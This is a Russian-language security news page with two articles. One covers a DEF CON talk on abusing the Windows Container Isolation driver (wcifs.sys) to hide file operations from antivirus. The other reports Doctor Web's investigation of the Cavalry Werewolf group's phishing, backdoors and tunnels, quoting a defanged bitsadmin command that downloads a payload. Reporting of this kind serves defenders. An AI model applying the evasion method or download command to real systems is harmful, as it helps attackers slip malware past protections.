Windows Container Isolation можно использовать для ухода от детектирования

Windows Container Isolation можно использовать для ухода от детектирования

Windows Container Isolation можно использовать для ухода от детектирования

Киберпреступники могут незаметно протащить вредоносную программу и уйти от детектирования защитными системами с помощью взаимодействия с фреймворком Windows Container Isolation.

О способе обхода средств защиты конечных точек рассказал специалист Deep Instinct Дэниел Авиноам, выступавший на конференции DEF CON.

Архитектура контейнеров Microsoft использует динамически генерируемый образ, чтобы отделить файловую систему от каждого контейнера до хоста и при этом избежать дублирования системных файлов.

Согласно описанию, это просто образ ОС, содержащий чистые копии файлов, которые могу измениться, и ссылки на файлы, которые меняться не должны (уже развернутые на хосте). За счет такого подхода уменьшается общий размер всей операционной системы.

«В результате в образе появляются так называемые “файлы-призраки”. В них не сдержатся каких-либо данных, но при этом они указывают на другой диск в системе», — объясняет Авиноам в отчете.

«Именно в этот момент меня осенило: что если использовать этот механизм перенаправления для обфускации операций с файловой системой. Ведь так можно запутать защитные системы».

Для решения этой задачи пригодился драйвер мини-фильтра Windows Container Isolation FS — wcifs.sys. Этот драйвер должен обеспечивать разделение файловой системы между контейнерами Windows и их хостом.

Драйвер wcifs.sys обрабатывает перенаправление файлов-призраков с помощью парсинга их точек и тегов повторного синтаксического анализа, идентифицирующих владельца. При этом драйвер занимает диапазон высоты выделенного фильтра 180000-189999 (конкретнее — 189900), в то время как антивирусные продукты функционируют в диапазоне 320000-329999.

В результате ряд операций с файлами можно проводить без запуска их обратных вызовов.

«Поскольку мы можем переопределить файлы с помощью тега IO_REPARSE_TAG_WCI_1 без обнаружения со стороны антивирусов, их алгоритм детектирования не получит всей картины и, соответственно, не отработает как положено», — дополняет Авиноам.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru